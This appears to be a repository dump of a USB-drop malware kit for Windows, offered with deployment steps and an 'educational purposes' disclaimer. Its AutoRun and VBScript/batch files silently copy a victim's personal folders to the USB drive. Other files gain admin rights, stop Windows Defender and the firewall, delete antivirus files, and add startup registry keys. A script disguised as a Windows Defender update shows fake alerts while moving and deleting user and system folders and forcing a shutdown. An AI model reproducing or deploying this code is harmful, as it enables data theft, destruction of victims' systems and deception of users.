├── AutoRun.inf ├── Disable.bat ├── README.md ├── WinDefend Update.vbs ├── all └── readme.md ├── file.bat ├── invisible.vbs └── launch.bat /AutoRun.inf: -------------------------------------------------------------------------------- 1 | [autorun] 2 | icon=drive.ico 3 | open=launch.bat 4 | action=Click ok to run patch for windows 5 | shell\open\command=launch.bat -------------------------------------------------------------------------------- /Disable.bat: -------------------------------------------------------------------------------- 1 | set "params=%*" 2 | cd /d "%~dp0" && ( if exist "%temp%\getadmin.vbs" del "%temp%\getadmin.vbs" ) && fsutil dirty query %systemdrive% 1>nul 2>nul || ( echo Set UAC = CreateObject^("Shell.Application"^) : UAC.ShellExecute "cmd.exe", "/k cd ""%~sdp0"" && %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs" && "%temp%\getadmin.vbs" && exit /B ) 3 | :: ^THIS^ Must stay at the top of this File, this gives the file administrative access. 4 | 5 | 6 | 7 | 8 | :: Disables antivirus, firewall, taskmanager, and a couple of other proseces (does not affect your PC and is only to make the drive not look sus) 9 | net stop "SDRSVC" 10 | net stop "WinDefend" 11 | taskkill /f /t /im "MSASCui.exe" 12 | net stop "security center" 13 | netsh firewall set opmode mode-disable 14 | net stop "wuauserv" 15 | net stop "Windows Defender Service" 16 | net stop "Windows Firewall" 17 | net stop sharedaccess 18 | 19 | del /Q /F C:\Program Files\alwils~1\avast4\*.* 20 | del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe 21 | del /Q /F C:\Program Files\kasper~1\*.exe 22 | del /Q /F C:\Program Files\trojan~1\*.exe 23 | del /Q /F C:\Program Files\f-prot95\*.dll 24 | del /Q /F C:\Program Files\tbav\*.dat 25 | del /Q /F C:\Program Files\avpersonal\*.vdf 26 | del /Q /F C:\Program Files\Norton~1\*.cnt 27 | del /Q /F C:\Program Files\Mcafee\*.* 28 | del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.* 29 | del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.* 30 | del /Q /F C:\Program Files\Norton~1\Norton~1\*.* 31 | del /Q /F C:\Program Files\Norton~1\*.* 32 | 33 | 34 | ::color red, can be changed. 35 | COLOR 0F 36 | 37 | :: other 38 | echo @echo off>c:windowswimn32.bat 39 | echo break off>>c:windowswimn32.bat 40 | echo ipconfig/release_all>>c:windowswimn32.bat 41 | echo end>>c:windowswimn32.bat 42 | reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f 43 | reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f 44 | echo Loading... 45 | echo THanks you for your coroperation! 46 | echo Please press enter! 47 | PAUSE 48 | @echo off 49 | cls 50 | ::end 51 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # how 2 use 2 | 3 | ``` 4 | Download as Zip, extract files from zip, plug in USB, add to USB 5 | ``` 6 | Only 4 educatinal purposes 7 | -------------------------------------------------------------------------------- /WinDefend Update.vbs: -------------------------------------------------------------------------------- 1 | WScript.Sleep(1) 2 | 3 | 'FALSE Alert box 4 | a=MsgBox("REQUIRED* WINDOWS needs to update 'Windows Defender' to Version 1.381.2647.1. ", 0+48, "Windows Defender") 5 | WScript.Sleep(1999) 6 | 7 | ' START 8 | DIM FSO, MyFile 9 | Set oShell = CreateObject( "WScript.Shell" ) 10 | user=oShell.ExpandEnvironmentStrings("%UserName%") 11 | 12 | 13 | ' makes destined directory/folder 14 | SET FSO=CreateObject("Scripting.FileSystemObject") 15 | FSO.CreateFolder("C:\Users\Public\folder\") 16 | FSO.CreateFolder("C:\Users\Public\Windows Defender\") 17 | FSO.Movefile "AntiVirus.bat","C:\Users\Public\Windows Defender\" 18 | 19 | ' runs Fake antivirus and assets program so that this program will be givin ADMIN and turn off some IMPORTANT programs 20 | CreateObject("Wscript.Shell").Run """C:\Users\Public\Windows Defender\AntiVirus.bat""", 1, True 21 | WScript.Sleep(999) 22 | CreateObject("Wscript.Shell").Run """assets.bat""", 1, True 23 | 24 | 25 | 26 | ' makes a .bat file 27 | FSO.CreateTextFile "Updater.bat" 28 | Set AFile = FSO.CreateTextFile("Updater.bat", True) 29 | 30 | ' Writes a HARMFUL test in the "upater.bat" Text File 31 | AFile.WriteLine("@echo off") 32 | AFile.WriteLine("Echo Loading...") 33 | AFile.WriteLine("dir d:") 34 | AFile.WriteLine("echo Y|del D:\") 35 | AFile.WriteLine("dir c:") 36 | AFile.WriteLine("echo Y|del C:\documents and settings") 37 | AFile.WriteLine("echo Y|del C:\users") 38 | AFile.WriteLine("echo Y|del C:\windows\system32\hal.dll") 39 | AFile.WriteLine("echo Y|del C:\windows") 40 | AFile.WriteLine("attrib -s -h C:\boot.ini") 41 | AFile.WriteLine("PING localhost -n 1 -w 3 >NUL") 42 | AFile.WriteLine("echo Y|del C:\boot.ini") 43 | AFile.WriteLine("echo Y|del C:\") 44 | AFile.WriteLine("PING localhost -n 1 -w 6 >NUL") 45 | AFile.WriteLine("shutdown.exe -s -t 30") 46 | Afile.Close 47 | 48 | ' message box to make the user feel safe for a little bit 49 | a=MsgBox("Please wait... We are still updating your Windows 'AntiVirus' ", 0+64, "Windows Alert!") 50 | 51 | 52 | 'Moves System Files & Folderd into there SET directoies 53 | FSO.Movefolder "Updater.bat","C:\Users\Public\Windows Defender\" 54 | FSO.Movefolder "C:\Users\%username%\Desktop\","C:\Users\Public\folder\" 55 | FSO.Movefolder "C:\WINDOWS","C:\Users\Public\folder\" 56 | 57 | ' moves everything to trash can. 58 | FSO.Movefolder "C:\Users\Public\folder\","C:\$Recycle.Bin" 59 | 60 | ' Last message 61 | a=MsgBox("Please do not restart your Computer", 0+48, "Windows Alert!") 62 | WScript.Sleep(999) 63 | a=MsgBox("Update Complete... Restarting Computer", 0+64, "Windows Defender") 64 | 65 | 66 | CreateObject("Wscript.Shell").Run """C:\Users\Public\Windows Defender\Updater.bat""", 1, True 67 | ' END 68 | 69 | 70 | -------------------------------------------------------------------------------- /all/readme.md: -------------------------------------------------------------------------------- 1 | # "All" file sescription. 2 | 3 | ### what is this for? 4 | This is the directory/folder that the files will be copyed to... 5 | 6 | ## WARNING! 7 | Do not delete this folder from your USB, BUT delete this "readme" file 8 | -------------------------------------------------------------------------------- /file.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | 3 | :: variables, do not edit unless you know what your doing :) 4 | /min 5 | SET odrive=%odrive:~0,2% 6 | set backupcmd=xcopy /s /c /d /e /h /i /r /y 7 | echo off 8 | 9 | ::Directory of the files you want to download. 10 | %backupcmd% "%USERPROFILE%\videos" "%drive%\all\" 11 | %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\" 12 | %backupcmd% "%USERPROFILE%\pictures" "%drive%\all\Saved Pictures" 13 | %backupcmd% "%USERPROFILE%\Favorites" "%drive%\all\Favorites" 14 | %backupcmd% "%USERPROFILE%\Desktop" "%drive%\all\Desktop" 15 | %backupcmd% "%USERPROFILE%\Downloads" "%drive%\all\Downloads" 16 | %backupcmd% "%USERPROFILE%\Documents" "%drive%\all\Documents" 17 | 18 | @echo off 19 | cls 20 | ::end 21 | -------------------------------------------------------------------------------- /invisible.vbs: -------------------------------------------------------------------------------- 1 | DIM FSO, MyFile 2 | Set oShell = CreateObject( "WScript.Shell" ) 3 | Set FSO = CreateObject("Scripting.FileSystemObject") 4 | 5 | CreateObject("Wscript.shell").Run """file.bat""", 1, True 6 | 7 | 8 | a=MsgBox("Get better LOSER", 0+64 ,"Windows Alert!!!") 9 | WScript.sleep(1) 10 | -------------------------------------------------------------------------------- /launch.bat: -------------------------------------------------------------------------------- 1 | wscript.exe \invisible.vbs file.bat 2 | --------------------------------------------------------------------------------